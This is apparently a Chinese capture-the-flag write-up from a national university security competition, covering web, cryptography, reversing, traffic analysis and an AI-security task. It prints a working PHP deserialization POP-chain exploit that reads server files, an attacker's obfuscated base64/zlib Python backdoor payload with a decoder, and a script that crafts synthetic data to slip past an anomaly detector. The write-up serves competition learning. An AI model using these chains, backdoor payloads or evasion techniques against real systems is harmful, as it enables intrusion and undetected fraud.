第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届"长城杯"网数智安全大赛(防护赛)初赛WP

First Post:

Last Update:

Word Count:
1.1k

Read Time:
5 min

Web安全

Hellogate

默认网页抓包,在最下面发现网页源码

构造pop链 A->B->C 尝试查看index.php内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}

$c = new C();
$c->cmd = "php://filter/read=convert.base64-encode/resource=index.php";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
$d = serialize($a);
echo $d;
?>

没有发现任何线索,直接读取flag文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}

$c = new C();
$c->cmd = "php://filter/read=convert.base64-encode/resource=/flag";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
$d = serialize($a);
echo $d;
?>

解base64

密码学

ECDSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key
f_pub = open("public.pem", "wb")
f_pub.write(vk.to_pem())
f_pub.close()

msgs = [b"message-" + bytes([i]) for i in range(60)]
sigs = []
def nonce(i):
seed = sha512(b"bias" + bytes([i])).digest()
k = int.from_bytes(seed, "big")
return k

for i, msg in enumerate(msgs):
k = nonce(i)
sig = sk.sign(msg, k=k)
sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))

f_sig = open("signatures.txt", "w")
for m, s in sigs:
f_sig.write("%s:%s\n" % (m, s))
f_sig.close()

from hashlib import sha512, md5

msg = b"Welcome to this challenge!"
digest = sha512(msg).digest()
priv_int = int.from_bytes(digest, "big")
flag_md5 = md5(str(priv_int).encode()).hexdigest()
print(f"flag{{{flag_md5}}}")

EzFlag

使用IDA 伪代码分析main 函数得出固定密码 V3ryStr0ngp@ssw0rd;else 块中 for 循环用于计算flag内容;每次循环后有sleep拖延运行时长;v11的数值在多次循环后会变成极大数

用 Python 复现函数 f() 发现计算结果每24个为一个循环,因此传入 f() 函数的 v11 可以通过取模24的方式减小计算量

使用IDA编辑代码,jmp跳过密码验证环节空出代码位置

重新组织字节码结构

在 f() 函数调用前对参数进行取模

删除sleep代码

应用编辑后运行

1
2
3
4
5
6
7
8
9
# f() 函数验证脚本 
a1 = 100
v5 = 0
v4 = 1
for i in range(a1):
v2 = v4
v4 = (v5 + v4) & 0xF
v5 = v2
print(v5, end=' ')

流量分析

SnakeBackdoor-1

过滤 http 找到最后一个 /admin/login

SnakeBackdoor-2

跟到攻击者的模板注入

SnakeBackdoor-3

跟到 Base64 和 zlib 后的 Payload ,写代码解密,同时知道加密算法是 RC4

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
import zlib

__ = '=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'
while True:
try:
b = base64.b64decode(__[::-1])
e = zlib.decompress(b).decode()
s = e.split("'")
__ = s[1]
except:
print("'".join(s))
break

SnakeBackdoor-4

跟到攻击者将 shell 重命名为了 python3.13

AI安全

The Silent Heist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import pandas as pd
import numpy as np
import socket
import time

def solve():
df = pd.read_csv('misc\public_ledger.csv')
df.columns = [f'feat_{i}' for i in range(20)]
means = df.mean()
cov_matrix = df.cov()

shrink_factor = 0.2
num_to_generate = 7000

samples = np.random.multivariate_normal(means, cov_matrix * shrink_factor, num_to_generate)

dist = np.linalg.norm(samples - means.values, axis=1)
safe_indices = np.argsort(dist)[:6200]
final_samples = samples[safe_indices]

fake_df = pd.DataFrame(final_samples, columns=df.columns)
fake_df[fake_df < 0] = 0

payload = fake_df.to_csv(index=False) + "\nEOF\n"

host = "39.105.197.135"
port = 22541

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(60)
print(f"连接 {host}:{port}...")
s.connect((host, port))

time.sleep(1)
try:
print(s.recv(1024).decode(errors='ignore'))
except:
pass
s.sendall(payload.encode())

response = ""
while True:
chunk = s.recv(4096).decode(errors='ignore')
if not chunk: break
response += chunk
print(chunk, end="", flush=True)
if "flag{" in response.lower():
print("\n获取 Flag")
break
if "ALARM" in response:
print("\n错误")
break
except Exception as e:
print(f"\n[!] 连接异常: {e}")

if __name__ == "__main__":
solve()